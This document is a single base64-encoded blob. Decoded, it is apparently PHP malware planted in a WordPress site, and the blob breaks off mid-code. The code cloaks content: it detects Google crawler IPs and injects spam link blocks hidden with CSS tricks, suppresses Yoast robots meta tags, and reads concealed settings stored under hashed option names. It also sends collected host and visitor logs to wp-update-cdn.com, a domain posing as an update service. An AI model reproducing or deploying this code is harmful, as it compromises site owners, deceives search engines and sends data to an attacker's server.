JZCI7CgogICAgJHJlc3VsdHMgPSAoYXJyYXkpJHdwZGItPmdldF9yZXN1bHRzKCRxdWVyeSwgQVJSQVlfQSk7CgogICAgJGlkcyA9IGFycmF5KCk7CiAgICBmb3JlYWNoICgkcmVzdWx0cyBhcyAkdG1wQXJyKSB7CiAgICAgICAgJGlkc1tdID0gJHRtcEFyclsnSUQnXTsKICAgIH0KICAgIHJldHVybiAkaWRzOwp9CgpmdW5jdGlvbiBjdXN0b21fZmx1c2hfcnVsZXMoKSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnIsICR3cF9yZXdyaXRlOwoKICAgICRydWxlcyA9IGdldF9vcHRpb24oJ3Jld3JpdGVfcnVsZXMnKTsKCiAgICBmb3JlYWNoICgkdXNlclNldHRpbmdzQXJyIGFzICRrZXkgPT4gJGFycikgewogICAgICAgICRyZWdleCA9IGtleSgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSk7CgogICAgICAgIGlmICghaXNzZXQoJHJ1bGVzWyRyZWdleF0pIHx8CiAgICAgICAgICAgICgkcnVsZXNbJHJlZ2V4XSAhPT0gY3VycmVudCgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSkpKSB7CiAgICAgICAgICAgICR3cF9yZXdyaXRlLT5mbHVzaF9ydWxlcygpOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gc2l0ZW1hcF94bWxfcnVsZXMoJHJ1bGVzKSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJG5ld3J1bGVzID0gYXJyYXkoKTsKCiAgICBmb3JlYWNoICgkdXNlclNldHRpbmdzQXJyIGFzICRrZXkgPT4gJGFycikgewogICAgICAgIGlmIChpc3NldCgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSkpIHsKICAgICAgICAgICAgJG5ld3J1bGVzW2tleSgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSldID0gY3VycmVudCgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSk7CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiAkbmV3cnVsZXMgKyAkcnVsZXM7Cn0KCmZ1bmN0aW9uIGN1c3RvbVNpdGVtYXBGZWVkKCkgewoKICAgIGdsb2JhbCAkdXNlclNldHRpbmdzQXJyOwoKICAgIGZvcmVhY2ggKCR1c2VyU2V0dGluZ3NBcnIgYXMgJGtleSA9PiAkYXJyKSB7CiAgICAgICAgJGZlZWROYW1lID0gc3RyX3JlcGxhY2UoJ2luZGV4LnBocD9mZWVkPScsICcnLCBjdXJyZW50KCRhcnJbJ3NpdGVtYXBzZXR0aW5ncyddKSk7CiAgICAgICAgYWRkX2ZlZWQoJGZlZWROYW1lLCAnY3VzdG9tU2l0ZW1hcEZlZWRGdW5jJyk7CiAgICB9Cn0KCmZ1bmN0aW9uIGN1c3RvbVNpdGVtYXBGZWVkRnVuYygpIHsKLy9pbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnMjU2TUInKTsKICAgIGhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZmVlZF9jb250ZW50X3R5cGUoJ3Jzcy1odHRwJykgLiAnOyBjaGFyc2V0PScgLiBnZXRfb3B0aW9uKCdibG9nX2NoYXJzZXQnKSwgdHJ1ZSk7Ci8vaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBmZWVkX2NvbnRlbnRfdHlwZSgncnNzJykgLiAnOyBjaGFyc2V0PScgLiBnZXRfb3B0aW9uKCdibG9nX2NoYXJzZXQnKSwgdHJ1ZSk7CiAgICBzdGF0dXNfaGVhZGVyKDIwMCk7CgogICAgJGhlYWQgPSBzaXRlbWFwSGVhZCgpOwogICAgJHNpdGVtYXBTb3VyY2UgPSAkaGVhZCAuICJcbiI7CgogICAgJHVzZXJJZCA9IGZpbmRVc2VySWRCeVJlcXVlc3RVcmkoKTsKCiAgICAkcG9zdHNfaWRzID0gYWxsX2N1c3RvbV9wb3N0c19pZHMoJHVzZXJJZCk7CiAgICAkcHJpb3JpdHkgPSAnMC41JzsKICAgICRjaGFuZ2VmcmVxID0gJ3dlZWtseSc7CiAgICAkbGFzdG1vZCA9IGRhdGUoJ1ktbS1kJyk7CgogICAgZm9yZWFjaCAoJHBvc3RzX2lkcyBhcyAkcG9zdF9pZCkgewogICAgICAgICR1cmwgPSBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKTsKICAgICAgICAkc2l0ZW1hcFNvdXJjZSAuPSB1cmxCbG9jaygkdXJsLCAkbGFzdG1vZCwgJGNoYW5nZWZyZXEsICRwcmlvcml0eSk7CiAgICAgICAgd3BfY2FjaGVfZGVsZXRlKCRwb3N0X2lkLCAncG9zdHMnKTsKICAgIH0KCiAgICAkc2l0ZW1hcFNvdXJjZSAuPSAiXG48L3VybHNldD4iOwoKICAgIGVjaG8gJHNpdGVtYXBTb3VyY2U7Cn0KCmZ1bmN0aW9uIHNpdGVtYXBIZWFkKCkgewogICAgcmV0dXJuIDw8PFNUUgo8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Pgo8dXJsc2V0CiAgICAgIHhtbG5zPSJodHRwOi8vd3d3LnNpdGVtYXBzLm9yZy9zY2hlbWFzL3NpdGVtYXAvMC45IgogICAgICB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIgogICAgICB4c2k6c2NoZW1hTG9jYXRpb249Imh0dHA6Ly93d3cuc2l0ZW1hcHMub3JnL3NjaGVtYXMvc2l0ZW1hcC8wLjkKICAgICAgICAgICAgaHR0cDovL3d3dy5zaXRlbWFwcy5vcmcvc2NoZW1hcy9zaXRlbWFwLzAuOS9zaXRlbWFwLnhzZCI+CgogICAgClNUUjsKfQoKZnVuY3Rpb24gdXJsQmxvY2soJHVybCwgJGxhc3Rtb2QsICRjaGFuZ2VmcmVxLCAkcHJpb3JpdHkpIHsKCiAgICByZXR1cm4gPDw8U1RSCiAgIDx1cmw+CiAgICAgIDxsb2M+JHVybDwvbG9jPgogICAgICA8bGFzdG1vZD4kbGFzdG1vZDwvbGFzdG1vZD4KICAgICAgPGNoYW5nZWZyZXE+JGNoYW5nZWZyZXE8L2NoYW5nZWZyZXE+CiAgICAgIDxwcmlvcml0eT4kcHJpb3JpdHk8L3ByaW9yaXR5PgogICA8L3VybD5cblxuClNUUjsKfQoKZnVuY3Rpb24gbW9kaWZ5V3JpdGVyc1N0cmluZygkd3JpdGVyc0FycikgewogICAgJHdyaXRlcnNBcnJNb2QgPSBhcnJheSgpOwoKICAgIGZvcmVhY2ggKCR3cml0ZXJzQXJyIGFzICRpdGVtKSB7CiAgICAgICAgJHdyaXRlcnNBcnJNb2RbXSA9ICctJyAuICRpdGVtOwogICAgfQogICAgcmV0dXJuIGltcGxvZGUoJywnLCAkd3JpdGVyc0Fyck1vZCk7Cn0KCmZ1bmN0aW9uIGN1c3RvbUZpbHRlcnNTZXR0aW5ncygpIHsKICAgICRzZXR0aW5ncyA9IGdldF9vcHRpb24obWQ1KHNoYTEoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSkpOwoKICAgIGlmICghJHNldHRpbmdzKSB7CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9CgogICAgcmV0dXJuIHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHNldHRpbmdzKSk7Cn0KCmZ1bmN0aW9uIGZpbmRVc2VySWRCeVJlcXVlc3RVcmkoKSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgZm9yZWFjaCAoJHVzZXJTZXR0aW5nc0FyciBhcyAka2V5ID0+ICRhcnIpIHsKCiAgICAgICAgJHJlZ2V4cCA9IGtleSgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSkgLiAnfCcKICAgICAgICAgICAgLiBzdHJfcmVwbGFjZSgnaW5kZXgucGhwPycsICcnLCBjdXJyZW50KCRhcnJbJ3NpdGVtYXBzZXR0aW5ncyddKSAuICckJyk7CgogICAgICAgIGlmIChwcmVnX21hdGNoKCJ+JHJlZ2V4cH4iLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsKICAgICAgICAgICAgcmV0dXJuICRrZXk7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBpc0N1c3RvbVBvc3QoKSB7CiAgICBnbG9iYWwgJHVzZXJTZXR0aW5nc0FyciwgJHBvc3Q7CgogICAgJGF1dGhvcnNfaWRzX2FyciA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICBpZiAoaW5fYXJyYXkoJHBvc3QtPnBvc3RfYXV0aG9yLCAkYXV0aG9yc19pZHNfYXJyKSkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiByZW1vdmVZb2FzdE1ldGEoKSB7CiAgICBnbG9iYWwgJHVzZXJTZXR0aW5nc0FyciwgJHBvc3Q7CgogICAgJGF1dGhvcnNfaWRzX2FyciA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CgogICAgaWYgKCEkcG9zdCB8fCAhcHJvcGVydHlfZXhpc3RzKCRwb3N0LCAnYXV0aG9yJykpIHsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgaWYgKGluX2FycmF5KCRwb3N0LT5wb3N0X2F1dGhvciwgJGF1dGhvcnNfaWRzX2FycikpIHsKICAgICAgICBhZGRfZmlsdGVyKCd3cHNlb19yb2JvdHMnLCAnX19yZXR1cm5fZmFsc2UnKTsKICAgICAgICBhZGRfZmlsdGVyKCd3cHNlb19nb29nbGVib3QnLCAnX19yZXR1cm5fZmFsc2UnKTsgLy8gWW9hc3QgU0VPIDE0Lnggb3IgbmV3ZXIKICAgICAgICBhZGRfZmlsdGVyKCd3cHNlb19iaW5nYm90JywgJ19fcmV0dXJuX2ZhbHNlJyk7IC8vIFlvYXN0IFNFTyAxNC54IG9yIG5ld2VyCiAgICB9Cn0KCmZ1bmN0aW9uIGdldFJlbW90ZUlwKCkgewoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSkpIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107CiAgICB9CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCddKSkgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ107CiAgICB9CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwogICAgfQoKICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY3VzdG9tQ2hlY2tTZSgpIHsKCiAgICAkaXAgPSBnZXRSZW1vdGVJcCgpOwoKICAgIGlmIChzdHJzdHIoJGlwLCAnLCAnKSkgewogICAgICAgICRpcHMgPSBleHBsb2RlKCcsICcsICRpcCk7CiAgICAgICAgJGlwID0gJGlwc1swXTsKICAgIH0KCiAgICAkcmFuZ2VzID0gY3VzdG9tU2VJcHMoKTsKCiAgICBpZiAoISRyYW5nZXMpIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgZm9yZWFjaCAoJHJhbmdlcyBhcyAkcmFuZ2UpIHsKICAgICAgICBpZiAoY3VzdG9tQ2hlY2tJblN1Ym5ldCgkaXAsICRyYW5nZSkpIHsKICAgICAgICAgICAgLy9jdXN0b21TZXREZWJ1ZyhzcHJpbnRmKCdibGFja19saXN0fHwlc3x8JXN8fCVzfHwlcycsICRpcCwgJHJhbmdlCiAgICAgICAgICAgIC8vICAgICAgICAgICAgICAgICwgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkpOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgLy9jdXN0b21TZXREZWJ1ZyhzcHJpbnRmKCd3aGl0ZSBsaXN0fHwlc3x8JXN8fCVzfHwlcycsICRpcCwgJHJhbmdlCiAgICAvLyAgICAgICAgICAgICAgICAsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pKTsKICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY3VzdG9tSXNSZW5ld1RpbWUoJHRpbWVzdGFtcCkgewogICAgLy9pZiAoKHRpbWUoKSAtICR0aW1lc3RhbXApID4gNjAgKiA2MCAqIDI0KSB7CiAgICBpZiAoKHRpbWUoKSAtICR0aW1lc3RhbXApID4gNjAgKiA2MCkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgLy9jdXN0b21TZXREZWJ1ZyhzcHJpbnRmKCd0aW1lIC0gJXMsIHRpbWVzdGFtcCAtICVzJywgdGltZSgpLCAkdGltZXN0YW1wKSk7CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGN1c3RvbVNldERlYnVnKCRkYXRhKSB7CgogICAgaWYgKCgkdmFsdWUgPSBnZXRfb3B0aW9uKCd3cF9kZWJ1Z19kYXRhJykpICYmIGlzX2FycmF5KCR2YWx1ZSkpIHsKICAgICAgICAkdmFsdWVbXSA9IHNwcmludGYoJyVzfHwlc3x8JXMnLCB0aW1lKCksICRfU0VSVkVSWydIVFRQX0hPU1QnXSwgJGRhdGEpOwogICAgICAgIHVwZGF0ZV9vcHRpb24oJ3dwX2RlYnVnX2RhdGEnLCAkdmFsdWUsIGZhbHNlKTsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgdXBkYXRlX29wdGlvbignd3BfZGVidWdfZGF0YScsIGFycmF5KCRkYXRhKSwgZmFsc2UpOwp9CgpmdW5jdGlvbiBjdXN0b21TZW5kRGVidWcoKSB7CgogICAgJHZhbHVlID0gZ2V0X29wdGlvbignd3BfZGVidWdfZGF0YScpOwoKICAgIGlmICghaXNfYXJyYXkoJHZhbHVlKSB8fCAoY291bnQoJHZhbHVlKSA8IDEwMCkpIHsKICAgICAgICByZXR1cm47CiAgICB9CiAgICAkdXJsID0gJ2h0dHA6Ly93cC11cGRhdGUtY2RuLmNvbS9zcmMvdWFsb2dzZWMucGhwJzsKCiAgICAkcmVzcG9uc2UgPSB3cF9yZW1vdGVfcG9zdCgkdXJsLCBhcnJheSgKICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLAogICAgICAgICAgICAndGltZW91dCcgPT4gMTAsCiAgICAgICAgICAgICdib2R5JyA9PiBhcnJheSgKICAgICAgICAgICAgICAgICdob3N0JyA9PiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10sCiAgICAgICAgICAgICAgICAnZGVidWdkYXRhJyA9PiBnemNvbXByZXNzKGpzb25fZW5jb2RlKCR2YWx1ZSkpLCA5KQogICAgICAgICkKICAgICk7CgogICAgaWYgKGlzX3dwX2Vycm9yKCRyZXNwb25zZSkpIHsKICAgICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICAgIGlmICh0cmltKCRyZXNwb25zZVsnYm9keSddKSA9PT0gJ3N1Y2Nlc3MnKSB7CiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJ3dwX2RlYnVnX2RhdGEnLCBhcnJheSgpLCBmYWxzZSk7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBjdXN0b21TZUlwcygpIHsKCiAgICBpZiAoKCR2YWx1ZSA9IGdldF9vcHRpb24oJ3dwX2N1c3RvbV9yYW5nZScpKSAmJiAhY3VzdG9tSXNSZW5ld1RpbWUoJHZhbHVlWyd0aW1lc3RhbXAnXSkpIHsKICAgICAgICByZXR1cm4gJHZhbHVlWydyYW5nZXMnXTsKICAgIH0gZWxzZSB7CiAgICAgICAgLy9jdXN0b21TZXREZWJ1ZygndGltZSB0byB1cGRhdGUgcmFuZ2VzJyk7CiAgICAgICAgJHJlc3BvbnNlID0gd3BfcmVtb3RlX2dldCgnaHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20vaXByYW5nZXMvZ29vZy50eHQnKTsKICAgICAgICBpZiAoaXNfd3BfZXJyb3IoJHJlc3BvbnNlKSkgewogICAgICAgICAgICAvL2N1c3RvbVNldERlYnVnKCdlcnJvciByZXNwb25zZSBpcHJhbmdlcycpOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgICRib2R5ID0gd3BfcmVtb3RlX3JldHJpZXZlX2JvZHkoJHJlc3BvbnNlKTsKICAgICAgICAkcmFuZ2VzID0gcHJlZ19zcGxpdCgifihcclxufFxuKX4iLCB0cmltKCRib2R5KSwgLTEsIFBSRUdfU1BMSVRfTk9fRU1QVFkpOwoKICAgICAgICBpZiAoIWlzX2FycmF5KCRyYW5nZXMpKSB7CiAgICAgICAgICAgIC8vY3VzdG9tU2V0RGVidWcoJ2ludmFsaWQgdXBkYXRlIHJhbmdlcyBub3QgYW4gYXJyYXknKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgJHZhbHVlID0gYXJyYXkoJ3JhbmdlcycgPT4gJHJhbmdlcywgJ3RpbWVzdGFtcCcgPT4gdGltZSgpKTsKICAgICAgICB1cGRhdGVfb3B0aW9uKCd3cF9jdXN0b21fcmFuZ2UnLCAkdmFsdWUsIHRydWUpOwogICAgICAgIHJldHVybiAkdmFsdWVbJ3JhbmdlcyddOwogICAgfQp9CgpmdW5jdGlvbiBjdXN0b21JbmV0VG9CaXRzKCRpbmV0KSB7CiAgICAkc3BsaXR0ZWQgPSBzdHJfc3BsaXQoJGluZXQpOwogICAgJGJpbmFyeWlwID0gJyc7CiAgICBmb3JlYWNoICgkc3BsaXR0ZWQgYXMgJGNoYXIpIHsKICAgICAgICAkYmluYXJ5aXAgLj0gc3RyX3BhZChkZWNiaW4ob3JkKCRjaGFyKSksIDgsICcwJywgU1RSX1BBRF9MRUZUKTsKICAgIH0KICAgIHJldHVybiAkYmluYXJ5aXA7Cn0KCmZ1bmN0aW9uIGN1c3RvbUNoZWNrSW5TdWJuZXQoJGlwLCAkY2lkcm5ldCkgewogICAgJGlwID0gaW5ldF9wdG9uKCRpcCk7CiAgICAkYmluYXJ5aXAgPSBjdXN0b21JbmV0VG9CaXRzKCRpcCk7CgogICAgbGlzdCgkbmV0LCAkbWFza2JpdHMpID0gZXhwbG9kZSgnLycsICRjaWRybmV0KTsKICAgICRuZXQgPSBpbmV0X3B0b24oJG5ldCk7CiAgICAkYmluYXJ5bmV0ID0gY3VzdG9tSW5ldFRvQml0cygkbmV0KTsKCiAgICAkaXBfbmV0X2JpdHMgPSBzdWJzdHIoJGJpbmFyeWlwLCAwLCAkbWFza2JpdHMpOwogICAgJG5ldF9iaXRzID0gc3Vic3RyKCRiaW5hcnluZXQsIDAsICRtYXNrYml0cyk7CgogICAgaWYgKCRpcF9uZXRfYml0cyAhPT0gJG5ldF9iaXRzKSB7CiAgICAgICAgLy9lY2hvICdOb3QgaW4gc3VibmV0JzsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CgpmdW5jdGlvbiBidWZmZXJfc3RhcnRfY3VzdG9tKCkgewogICAgZWNobyAnPCEtLWJ1ZmZlciBzdGFydCBjdXN0b20tLSE+JyAuIFBIUF9FT0w7CiAgICBpZiAoIWlzQ3VzdG9tUG9zdCgpKSB7CiAgICAgICAgaWYgKGlzX3Npbmd1bGFyKCkgfHwgKGlzX2Zyb250X3BhZ2UoKSB8fCBpc19ob21lKCkpKSB7CiAgICAgICAgICAgIGVjaG8gJzwhLS1zdGFydCBjYWxsYmFjayBjdXN0b20tLSE+JyAuIFBIUF9FT0w7CiAgICAgICAgICAgIG9iX3N0YXJ0KCJjYWxsYmFja19jdXN0b20iKTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGJ1ZmZlcl9lbmRfY3VzdG9tKCkgewogICAgb2JfZW5kX2ZsdXNoKCk7Cn0KCmZ1bmN0aW9uIGNhbGxiYWNrX2N1c3RvbSgkYnVmZmVyKSB7CiAgICBnbG9iYWwgJGhvbWVMaW5rc1NldHRpbmdzQXJyOwoKICAgIHJldHVybiBidWZmZXJfcHJlcGFyZV9jdXN0b20oJGhvbWVMaW5rc1NldHRpbmdzQXJyLCAkYnVmZmVyKTsKfQoKZnVuY3Rpb24gYnVmZmVyX3ByZXBhcmVfY3VzdG9tKCRob21lTGlua3NTZXR0aW5nc0FyciwgJGJ1ZmZlcikgewoKICAgIGlmICgoJGhvbWVMaW5rc1NldHRpbmdzQXJyWydoaWRkZW5UeXBlJ11bJ2Nsb2Fja2luZyddID09PSAxKSAmJiAhY3VzdG9tQ2hlY2tTZSgpKSB7CiAgICAgICAgY3VzdG9tU2V0RGVidWcoJ25vIGdvb2dsZSBib3QsIHdpdGhvdXQgY2hhbmdlcyAnIC4gZ2V0UmVtb3RlSXAoKSk7CiAgICAgICAgcmV0dXJuICRidWZmZXI7CiAgICB9CgoKICAgICR0ZXh0QmxvY2sgPSB0ZXh0X2Jsb2NrX2N1c3RvbSgkaG9tZUxpbmtzU2V0dGluZ3NBcnIpOwogICAgJHRleHRCbG9jayA9IGFkZGl0aW9uYWxfc3R5bGVfY3VzdG9tKCRob21lTGlua3NTZXR0aW5nc0FyciwgJHRleHRCbG9jayk7CgoKICAgIGlmICgkaG9tZUxpbmtzU2V0dGluZ3NBcnJbJ3Bvc2l0aW9uJ11bJ2Zvb3RlciddID09PSAxKSB7CiAgICAgICAgY3VzdG9tU2V0RGVidWcoJ2Zvb3RlciBwb3NpdGlvbicpOwogICAgICAgIHJldHVybiAkYnVmZmVyIC4gUEhQX0VPTCAuICR0ZXh0QmxvY2s7CiAgICB9CiAgICBpZiAoJGhvbWVMaW5rc1NldHRpbmdzQXJyWydwb3NpdGlvbiddWydoZWFkJ10gPT09IDEpIHsKICAgICAgICBjdXN0b21TZXREZWJ1ZygnaGVhZGVyIHBvc2l0aW9uJyk7CiAgICAgICAgcmV0dXJuICR0ZXh0QmxvY2sgLiBQSFBfRU9MIC4gJGJ1ZmZlcjsKICAgIH0KfQoKZnVuY3Rpb24gdGV4dF9ibG9ja19jdXN0b20oJGhvbWVMaW5rc1NldHRpbmdzQXJyKSB7CgogICAgZ2xvYmFsICRwb3N0OwoKICAgICRibG9jayA9ICcnOwoKICAgIGlmICgkaG9tZUxpbmtzU2V0dGluZ3NBcnJbJ3RleHRCbG9ja3NDb3VudCddWydvbmx5SG9tZVBhZ2UnXSA9PT0gMSkgewogICAgICAgIGlmIChpc19mcm9udF9wYWdlKCkgfHwgaXNfaG9tZSgpKSB7CiAgICAgICAgICAgIGN1c3RvbVNldERlYnVnKCdob21lIHBhZ2UgbW9kZScpOwogICAgICAgICAgICAkYmxvY2sgPSBnZXRfb3B0aW9uKCdob21lX2xpbmtzX2N1c3RvbV8wJyk7CiAgICAgICAgfQogICAgfSBlbHNlaWYgKCRob21lTGlua3NTZXR0aW5nc0FyclsndGV4dEJsb2Nrc0NvdW50J11bJzEwRGlmZmVyZW50VGV4dEJsb2NrcyddID09PSAxKSB7CgogICAgICAgICR1cmwgPSBnZXRfcGVybWFsaW5rKCRwb3N0LT5JRCk7CiAgICAgICAgcHJlZ19tYXRjaCgnflxkficsIG1kNSgkdXJsKSwgJG1hdGNoZXMpOwogICAgICAgICRibG9jayA9IGdldF9vcHRpb24oJ2hvbWVfbGlua3NfY3VzdG9tXycgLiAkbWF0Y2hlc1swXSk7CiAgICAgICAgJGxvZyA9IHNwcmludGYoJzEwRGlmZmVyZW50VGV4dEJsb2NrcyBwYWdlIG1vZGUgYmxvY2sgbnVtIC0gJXMgcGVybWFsaW5rIC0gJXMnLCAkbWF0Y2hlc1swXSwgJHVybCk7CiAgICAgICAgY3VzdG9tU2V0RGVidWcoJGxvZyk7CiAgICB9IGVsc2VpZiAoJGhvbWVMaW5rc1NldHRpbmdzQXJyWyd0ZXh0QmxvY2tzQ291bnQnXVsnMTAwRGlmZmVyZW50VGV4dEJsb2NrcyddID09PSAxKSB7CgogICAgICAgICR1cmwgPSBnZXRfcGVybWFsaW5rKCRwb3N0LT5JRCk7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJ35cZH4nLCBtZDUoJHVybCksICRtYXRjaGVzKTsKICAgICAgICAkZGlnaXRzID0gKCRtYXRjaGVzWzBdWzBdID09IDApID8gJG1hdGNoZXNbMF1bMV0gOiAkbWF0Y2hlc1swXVswXSAuICcnIC4gJG1hdGNoZXNbMF1bMV07CiAgICAgICAgJGJsb2NrID0gZ2V0X29wdGlvbignaG9tZV9saW5rc19jdXN0b21fJyAuICRkaWdpdHMpOwogICAgICAgICRsb2cgPSBzcHJpbnRmKCcxMDBEaWZmZXJlbnRUZXh0QmxvY2tzIHBhZ2UgbW9kZSBibG9jayBudW0gLSAlcyBwZXJtYWxpbmsgLSAlcycsICRkaWdpdHMsICR1cmwpOwogICAgICAgIGN1c3RvbVNldERlYnVnKCRsb2cpOwogICAgfSBlbHNlaWYgKCRob21lTGlua3NTZXR0aW5nc0FyclsndGV4dEJsb2Nrc0NvdW50J11bJ2Z1bGxEaWZmZXJlbnRUZXh0QmxvY2tzJ10gPT09IDEpIHsKCiAgICB9IGVsc2UgewoKICAgIH0KCiAgICByZXR1cm4gISRibG9jayA/ICcnIDogJGJsb2NrOwp9CgpmdW5jdGlvbiBhZGRpdGlvbmFsX3N0eWxlX2N1c3RvbSgkaG9tZUxpbmtzU2V0dGluZ3NBcnIsICR0ZXh0QmxvY2spIHsKICAgIGlmIChlbXB0eSgkdGV4dEJsb2NrKSkgewogICAgICAgIHJldHVybiAnJzsKICAgIH0KICAgIGlmICgkaG9tZUxpbmtzU2V0dGluZ3NBcnJbJ2hpZGRlblR5cGUnXVsnY3NzJ10gPT09IDEpIHsKICAgICAgICBwcmVnX21hdGNoKCd+XGR+JywgbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICRibG9ja051bSk7CiAgICAgICAgJGNzc1J1bGVzID0gY3NzX3J1bGVfY3VzdG9tKCk7CiAgICAgICAgJGNzc1J1bGUgPSAkY3NzUnVsZXNbJGJsb2NrTnVtWzBdXTsKICAgICAgICByZXR1cm4gJGNzc1J1bGVbMF0gLiBQSFBfRU9MIC4gJHRleHRCbG9jayAuIFBIUF9FT0wgLiAkY3NzUnVsZVsxXTsKICAgIH0KICAgIHJldHVybiAkdGV4dEJsb2NrOwp9CgpmdW5jdGlvbiBjc3NfcnVsZV9jdXN0b20oKSB7CgogICAgcmV0dXJuIGFycmF5KAogICAgICAgIGFycmF5KCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgZmlsdGVyOmFscGhhKG9wYWNpdHk9MCk7b3BhY2l0eTowLjAwMzt6LWluZGV4Ojg7Ij4nLCAnPC9kaXY+JyksCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBsZWZ0Oi01MDAwcHg7Ij4nLCAnPC9kaXY+JyksCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB0b3A6IC0xMDAlOyI+JywgJzwvZGl2PicpLAogICAgICAgIGFycmF5KCc8ZGl2IHN0eWxlPSJ0cmFuc2Zvcm06IHNjYWxlKDApIj4nLCAnPC9kaXY+JyksCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9Im92ZXJmbG93OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgaGVpZ2h0OiAwcHQ7IHdpZHRoOiAwcHQ7PicsICc8L2Rpdj4nKSwKICAgICAgICBhcnJheSgnPGRpdiBzdHlsZT0iZGlzcGxheTpub25lOycsICc8L2Rpdj4nKSwKICAgICAgICBhcnJheSgnPHNwYW4gc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBmaWx0ZXI6YWxwaGEob3BhY2l0eT0wKTtvcGFjaXR5OjAuMDAzO3otaW5kZXg6ODsiPicsICc8L3NwYW4+JyksCiAgICAgICAgYXJyYXkoJzxzcGFuIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgbGVmdDotNTAwMHB4OyI+JywgJzwvc3Bhbj4nKSwKICAgICAgICBhcnJheSgnPHNwYW4gc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB0b3A6IC0xMDAlOyI+JywgJzwvc3Bhbj4nKSwKICAgICAgICBhcnJheSgnPHNwYW4gc3R5bGU9InRyYW5zZm9ybTogc2NhbGUoMCkiPicsICc8L3NwYW4+JyksCiAgICApOwp9CgpmdW5jdGlvbiBob21lX2xpbmtzX3NldHRpbmdzX2N1c3RvbSgkc2V0dGluZ3MpIHsKICAgIGZvcmVhY2ggKCRzZXR0aW5ncyBhcyAka2V5ID0+ICRhcnIpIHsKICAgICAgICBpZiAoaXNzZXQoJGFyclsnaG9tZUxpbmtzJ10pKSB7CiAgICAgICAgICAgIHJldHVybiAkYXJyWydob21lTGlua3MnXTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gYXJyYXkoKTsKfQoKJHVzZXJTZXR0aW5nc0FyciA9IGN1c3RvbUZpbHRlcnNTZXR0aW5ncygpOwoKaWYgKGlzX2FycmF5KCR1c2VyU2V0dGluZ3NBcnIpKSB7CiAgIC